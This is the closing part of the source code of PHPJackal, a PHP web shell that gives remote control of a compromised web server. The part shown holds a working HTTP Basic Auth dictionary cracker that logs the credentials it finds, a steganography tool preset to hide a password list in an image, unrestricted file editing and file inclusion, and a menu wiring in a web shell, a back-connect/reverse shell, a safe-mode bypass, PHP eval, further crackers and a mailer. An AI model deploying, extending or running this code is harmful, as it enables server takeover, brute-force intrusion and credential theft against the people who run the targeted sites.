2373 }
2374 if(!empty($_REQUEST['maskimagE']) && !empty($_REQUEST['hidefilE']) && !empty($_REQUEST['outfilE'])){
2375 echo stegfilE($_REQUEST['maskimagE'],$_REQUEST['hidefilE'],$_REQUEST['outfilE']);
2376 }elseif (!empty($_REQUEST['revimagE'])){
2377 echo steg_recoveR(($_REQUEST['revimagE']));
2378 }
2379 else echo '
2380<form name=stegn method="POST">
2381<div class="fieldwrapper">
2382<label class="styled" style="width:320px">Steganographer</label>
2383</div><div class="fieldwrapper">
2384<label class="styled">Mask image: (JPEG)</label>
2385<div class="thefield">
2386<input type="text" name="maskimagE" value="banner.jpg" size="30" />
2387</div>
2388</div><div class="fieldwrapper">
2389<label class="styled">File to hide:</label>
2390<div class="thefield">
2391<input type="text" name="hidefilE" value="pass.lst" size="30" />
2392</div>
2393<div class="fieldwrapper">
2394<label class="styled">Outout: (PNG)</label>
2395<div class="thefield">
2396<input type="text" name="outfilE" value="banner.png" size="30" />
2397</div>
2398</div>
2399'.$hcwd.'
2400<div class="buttonsdiv">
2401<input type="submit" name="stegn0" value="Combine" style="margin-left: 150px;" />
2402</div>
2403</form>
2404<br />
2405<form name=rev method="POST">
2406<div class="fieldwrapper">
2407<label class="styled" style="width:320px">Reveal</label>
2408</div><div class="fieldwrapper">
2409<label class="styled">Steganographed image: (PNG)</label>
2410<div class="thefield">
2411<input type="text" name="revimagE" value="banner.png" size="30" />
2412</div>
2413</div>
2414'.$hcwd.'
2415<div class="buttonsdiv">
2416<input type="submit" name="stegn0" value="Reveal" style="margin-left: 150px;" />
2417</div>
2418</form>';
2419}
2420function authcrackeR(){
2421global $hcwd;
2422if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
2423if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
2424$data='';
2425$method=($_REQUEST['method'])?'POST':'GET';
2426if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
2427spliturL($_REQUEST['target'],$host,$page);
2428$type=$_REQUEST['combo'];
2429$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
2430if($method=='GET')$page.=$data;
2431$dictionary=fopen($_REQUEST['dictionary'],'r');
2432echo '<font color=blue>';
2433while(!feof($dictionary)){
2434if($type){
2435$combo=trim(fgets($dictionary)," \n\r");
2436$user=substr($combo,0,strpos($combo,':'));
2437$pass=substr($combo,strpos($combo,':')+1);
2438}else{
2439$pass=trim(fgets($dictionary)," \n\r");
2440}
2441$so=fsockopen($host,80,$en,$es,5);
2442if(!$so){echo "Can not connect to host";break;}
2443else{
2444$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
2445if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded\r\nContent-Length: '.strlen($data);
2446$packet.="\r\n\r\n";
2447$packet.=$data;
2448fputs($so,$packet);
2449$res=substr(fgets($so),9,2);
2450fclose($so);
2451if($res=='20'){echo "U: $user P: $pass</br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");}
2452}
2453}
2454echo 'Done!</font>';
2455}else echo '
2456<form name=cracker method="POST">
2457<div class="fieldwrapper">
2458<label class="styled" style="width:320px">HTTP Auth cracker</label>
2459</div><div class="fieldwrapper">
2460<label class="styled">Target:</label>
2461<div class="thefield">
2462<input type="text" name="target" value="localhost" size="30" />
2463</div>
2464</div><div class="fieldwrapper">
2465<label class="styled">Dictionary:</label>
2466<div class="thefield">
2467<input type="text" name="dictionary" size="30" />
2468</div>
2469</div><div class="fieldwrapper">
2470<label class="styled">Dictionary type:</label>
2471<div class="thefield">
2472<ul style="margin-top:0;">
2473<li><input type="radio" value="0" checked name="combo" onClick="document.cracker.user.disabled = false;" /> <label>Simple (P)</label></li>
2474<li><input type="radio" name="combo" value="1" onClick="document.cracker.user.disabled = true;" /> <label>Combo (U:P)</label></li>
2475</ul>
2476</div>
2477</div>
2478<div class="fieldwrapper">
2479<label class="styled">Method:</label>
2480<div class="thefield">
2481<select name="method"><option selected value="1">POST</option><option value="0">GET</option></select>
2482</div>
2483</div><div class="fieldwrapper">
2484<label class="styled">Username:</label>
2485<div class="thefield">
2486<input type="text" name="user" size="30" />
2487</div>
2488</div><div class="fieldwrapper">
2489<label class="styled"><input type=checkbox name=loG value=1 onClick="document.cracker.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
2490<div class="thefield">
2491<input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
2492</div>
2493</div>
2494'.$hcwd.'
2495<div class="buttonsdiv">
2496<input type="submit" name="start" value="Start" style="margin-left: 150px;" />
2497</div>
2498</form>';
2499}
2500function openiT($name){
2501$ext=end(explode('.',$name));
2502$src=array('php','php3','php4','phps','phtml','phtm','inc');
2503$img=array('gif','jpg','jpeg','bmp','png','tif','ico');
2504if(in_array($ext,$src))highlight_file($name);
2505elseif (in_array($ext,$img)){showimagE($name);return;}
2506else echo '<font color=blue><pre>'.htmlspecialchars(file_get_contents($name)).'</pre></font>';
2507echo '<br /><a href="javascript: history.go(-1)"><img src="http://h.ackerz.com/PHPJackal/images/back.png" /><b>Back</b></a>';
2508}
2509function opensesS($name){
2510$sess=file_get_contents($name);
2511$var=explode(';',$sess);
2512echo "<pre>Name\tType\tValue\r\n";
2513foreach($var as $v){
2514$t=explode('|',$v);
2515$c=explode(':',$t[1]);
2516$y='';
2517if($c[0]=='i')$y='Integer';elseif($c[0]=='s')$y='String';elseif($c[0]=='b')$y='Boolean';elseif($c[0]=='f')$y='Float';elseif($c[0]=='a')$y='Array';elseif($c[0]=='o')$y='Object';elseif($c[0]=='n')$y='Null';
2518echo $t[0]."\t$y\t".$c[1]."\r\n";
2519}
2520echo '</pre>';
2521}
2522function logouT(){
2523setcookie('passw','',time()-10000);
2524header('Location: '.hlinK());
2525}
2526?>
2527<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2528<html xmlns="http://www.w3.org/1999/xhtml">
2529<head>
2530<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
2531<title>PHPJackal [<?php echo $cwd;?>]</title>
2532<link rel="stylesheet" type="text/css" href="http://h.ackerz.com/PHPJackal/style.css"/>
2533<link rel="shortcut icon" href="http://h.ackerz.com/PHPJackal/favicon.ico" type="image/x-icon" />
2534<?php if($_REQUEST['seC']=='fm')
2535echo '
2536<script language="JavaScript" type="text/JavaScript">
2537function chmoD($file){
2538$ch=prompt("Changing file mode["+$file+"]: ex. 777","");
2539if($ch != null)location.href="'. hlinK('seC=fm&workingdiR='.addslashes($cwd).'&chmoD=').'"+$file+"&modE="+$ch;
2540}
2541</script>';
2542?>
2543</head>
2544<body>
2545<div class="left">
2546<img src="http://h.ackerz.com/PHPJackal/images/banner.png" alt="banner" />
2547<ul>
2548<li <?php if($_REQUEST['seC']=='sysinfo')echo 'class="active"'?>><a href="<?php echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">Information</a></li>
2549<li <?php if($_REQUEST['seC']=='fm' || $_REQUEST['seC']=='openit')echo 'class="active"'?>><a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">File manager</a></li>
2550<li <?php if($_REQUEST['seC']=='edit')echo 'class="active"'?>><a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">Editor</a></li>
2551<li <?php if($_REQUEST['seC']=='webshell')echo 'class="active"'?>><a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">Web shell</a></li>
2552<li <?php if($_REQUEST['seC']=='br')echo 'class="active"'?>><a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">B/R shell</a></li>
2553<li <?php if($_REQUEST['seC']=='asm')echo 'class="active"'?>><a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">Safe-mode</a></li>
2554<li <?php if($_REQUEST['seC']=='sqlcl')echo 'class="active"'?>><a href="<?php echo hlinK("seC=sqlcl&workingdiR=$cwd");?>">SQL client</a></li>
2555<li <?php if($_REQUEST['seC']=='ftpc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=ftpc&workingdiR=$cwd");?>">FTP client</a></li>
2556<li <?php if($_REQUEST['seC']=='mailer')echo 'class="active"'?>><a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd");?>">Mail sender</a></li>
2557<li <?php if($_REQUEST['seC']=='eval')echo 'class="active"'?>><a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">PHP evaler</a></li>
2558<li <?php if($_REQUEST['seC']=='sc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=sc&workingdiR=$cwd");?>">Scanners</a></li>
2559<li <?php if($_REQUEST['seC']=='cr' || $_REQUEST['seC']=='dic' || $_REQUEST['seC']=='auth' || $_REQUEST['seC']=='fcr' || $_REQUEST['seC']=='snmp' || $_REQUEST['seC']=='hc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">Crackers</a></li>
2560<li <?php if($_REQUEST['seC']=='px')echo 'class="active"'?>><a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">Web pr0xy</a></li>
2561<li <?php if($_REQUEST['seC']=='steg')echo 'class="active"'?>><a href="<?php echo hlinK("seC=steg&workingdiR=$cwd");?>">Stegano</a></li>
2562<li <?php if($_REQUEST['seC']=='tools')echo 'class="active"'?>><a href="<?php echo hlinK("seC=tools&workingdiR=$cwd");?>">Tools</a></li>
2563<li <?php if($_REQUEST['seC']=='calc')echo 'class="active"'?>><a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">Converter</a></li>
2564<li <?php if($_REQUEST['seC']=='phpjackal')echo 'class="active"'?>><a href="<?php echo hlinK("seC=phpjackal&workingdiR=$cwd");?>">PHPJackal</a></li>
2565<li <?php if($_REQUEST['seC']=='about')echo 'class="active"'?>><a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">About</a></li>
2566<?php if(isset($_COOKIE['passw']))echo '<li><a href="'. hlinK("seC=logout").'">Logout</a></li>';?>
2567</ul></div>
2568<div class="right">
2569<div class="content">
2570<?php
2571if(!empty($_REQUEST['seC'])){
2572switch($_REQUEST['seC']){
2573case 'fm':filemanageR();break;
2574case 'sc':scanneR();break;
2575case 'phpinfo':phpinfo();break;
2576case 'edit':
2577if(!empty($_REQUEST['Save'])){
2578$filehandle=fopen($_REQUEST['filE'],'w');
2579fwrite($filehandle,$_REQUEST['edited']);
2580fclose($filehandle);}
2581if(!empty($_REQUEST['filE']))editoR($_REQUEST['filE']);else editoR('');
2582break;
2583case 'openit':openiT($_REQUEST['namE']);break;
2584case 'cr':crackeR();break;
2585case 'dic':dicmakeR();break;
2586case 'tools':toolS();break;
2587case 'hex':hexvieW();break;
2588case 'img':showimagE($_REQUEST['filE']);break;
2589case 'inc':if(file_exists($_REQUEST['filE']))include($_REQUEST['filE']);break;
2590case 'hc':hashcrackeR();break;
2591case 'fcr':formcrackeR();break;
2592case 'auth':authcrackeR();break;
2593case 'ftpc':ftpclienT();break;
2594case 'eval':phpevaL();break;
2595case 'phpjackal':phpjackal();break;
2596case 'snmp':snmpcrackeR();break;
2597case 'px':pr0xy();break;
2598case 'steg':stegn0();break;
2599case 'webshell':webshelL();break;
2600case 'mailer':maileR();break;
2601case 'br':brshelL();break;
2602case 'asm':safemodE();break;
2603case 'sqlcl':sqlclienT();break;
2604case 'calc':calC();break;
2605case 'sysinfo':sysinfO();break;
2606case 'checksum':checksuM($_REQUEST['filE']);break;
2607case 'logout':logouT();break;
2608default: echo $intro;}}else echo $intro;
2609?>
2610<div id="footer" style="margin-top:100px; width:500px">© 2010 <a href="http://h.ackerz.com"><strong>H.ackerz.com</strong></a><br/>Created by NetJackal
2611</div>
2612</div>
2613</div>
2614</body>
2615</html>